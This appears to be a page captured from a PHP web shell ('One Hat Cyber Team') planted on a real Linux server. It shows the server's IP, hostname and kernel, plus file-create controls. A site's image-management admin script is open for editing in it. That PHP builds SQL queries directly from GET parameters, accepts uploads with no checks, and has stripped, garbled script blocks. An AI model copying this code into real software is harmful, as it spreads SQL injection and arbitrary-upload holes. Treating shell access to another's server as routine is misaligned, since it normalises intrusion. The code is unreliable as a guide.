One Hat Cyber Team

Your IP : 216.73.216.240

Server IP : 162.240.106.28

Server : Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.1.33

Buat File | Buat Folder

Dir : ~/home/thoa/public_html/admin/

Edit File: mg_images.php

<?php include('config.php'); ?>

<?php

/*  $con = mysqli_connect('localhost', 'root', '');

mysqli_select_db("ecomm", $con);   */

error_reporting(0);

?>

<?php

session_start();

$IMG_ID = $_GET['IMG_ID'];

$CON_ID  = $_GET['CON_ID'];

$view = mysql_query("select * from images where IMG_ID = '".$IMG_ID."'"); // for editing

$data = mysql_fetch_array($view);

if($_GET['SAI']){

$STS = $_GET['IMG_STS'];

if($STS == 0){

$upd_sts =  mysql_query("UPDATE images SET IMG_STS ='0' WHERE IMG_ID ='".$_GET['SAI']."'");  //for changing status

}

else{

$upd_sts =  mysql_query("UPDATE images SET IMG_STS ='1' WHERE IMG_ID ='".$_GET['SAI']."'");

}

if($_GET['del_id']){ ?>

<?php $del = mysql_query("delete from images where IMG_ID='".$_GET['del_id']."'"); //for deleting status

if($del){?>

alert("Image deleted sucessfully");

window.location= "mg_images.php?CON_ID=<? echo  $CON_ID;?>";

</script>

<?php }

if(!$del){?>

alert("Image  Not deleted sucessfully");

window.location= "mg_images.php?CON_ID=<?echo $CON_ID;?>";

</script>

<?php }

}

if($_POST['submit']){

$simage = ($_FILES['image']['name']);

$tmp_img = $_FILES['image']['tmp_name'];

move_uploaded_file($tmp_img, "images/sub/".$simage);

if($_GET['IMG_ID']==""){

$ins = mysql_query("insert into images (IMG_IMG,CON_ID) values('$simage','$CON_ID')");

}

if($_GET['IMG_ID']!=""){

if($_FILES['image']['name']!=""){

$upd =  mysql_query("update images set IMG_IMG='$simage' where IMG_ID='".$IMG_ID."'");

}

if($upd){?>

window.location ="mg_images.php?CON_ID=<?echo $CON_ID?>"

</script>

<?php }

if(!$upd){?>

window.location ="mg_images.php?CON_ID=<?echo $CON_ID?>"

</script>

<?php }

}

?>

function del(id){

var del = confirm("Are you sure Want to delete");

if(del){

window.location.href = "mg_images.php?CON_ID=<?echo $CON_ID?>&del_id="+id+"&del=1";

}

else{

window.location.href = "mg_images.php?CON_ID=<?echo $CON_ID?>";

}

</script>

<!DOCTYPE html>

<html>

<head>

<title>Admin Panel</title>

</head>

<body>

<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
		<div class="container-fluid">
			<div class="navbar-header">
				<a href="#"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#sidebar-collapse">
					<span class="sr-only">Toggle navigation</span>
					<span class="icon-bar"></span>
					<span class="icon-bar"></span>
					<span class="icon-bar"></span>
				</button>
				</a>
				<a class="navbar-brand" href="#"><b>Fine Home Delivery Menu</b></a>
				<ul class="user-menu">
					<li class="dropdown pull-right">
						<a href="#" class="dropdown-toggle" data-toggle="dropdown"><img src="own.png" style="border-radius:40%;width:35px;height:35px;"> MR. Ramachandran<span class="caret"></span></a>
						<ul class="dropdown-menu" role="menu">
							<li><a href="logou.php" style="color:red;"><span class="glyphicon glyphicon-off"></span>  Logout</a></li>
						</ul>
					</li>
				</ul>
			</div>
		</div>
	</nav>

</div>

<li class="active">Manage Individual Gallery Images</li>

</ol>

</div>

<h2 class="page-header">Add Images</h2>

</div>

<label for="exampleInputFile" style="float:right;"><a href="mg_content.php"><img src="back.png" width="40px" > Back to Products</a></label>

</div>

<label for="exampleInputFile">Choose Image</label>

<?php if($IMG_ID){?>

<img src = "images/sub/<?php echo $data['IMG_IMG'];?>" height="100" width="100"></img>

<?php }?>

</div>

<button type="submit" name="submit" value="submit" class="btn btn-primary">Submit</button>

<button type="reset" class="btn btn-primary">Reset</button>

</div>

</form>

</div>

</section>

<hr>

<div class="panel-heading">Gallery Table</div>

<thead>

<tr>

<th data-field="image" data-sortable="true">Image</th>

<th data-field="action" data-sortable="true">Action</th>

</tr>

</thead>

<tbody>

<?php

$table = mysql_query("select * from images where CON_ID='".$CON_ID."'");

$IMG_ID=1;

while($row=mysql_fetch_array($table))

{

?>

<td><img src="images/sub/<?php echo $row['IMG_IMG'];?>" height="100" width="100"></td>

<td><a href= "mg_images.php?CON_ID=<?echo $CON_ID?>&IMG_ID=<?php echo $row['IMG_ID'];?>">Edit</a>/<a href="#" onclick="del(<?php echo $row['IMG_ID'];?>)">Delete</a></td>

</tr>

<?php

$IMG_ID++;

}?>

</tbody>

</table>

</div>

</body>

</html>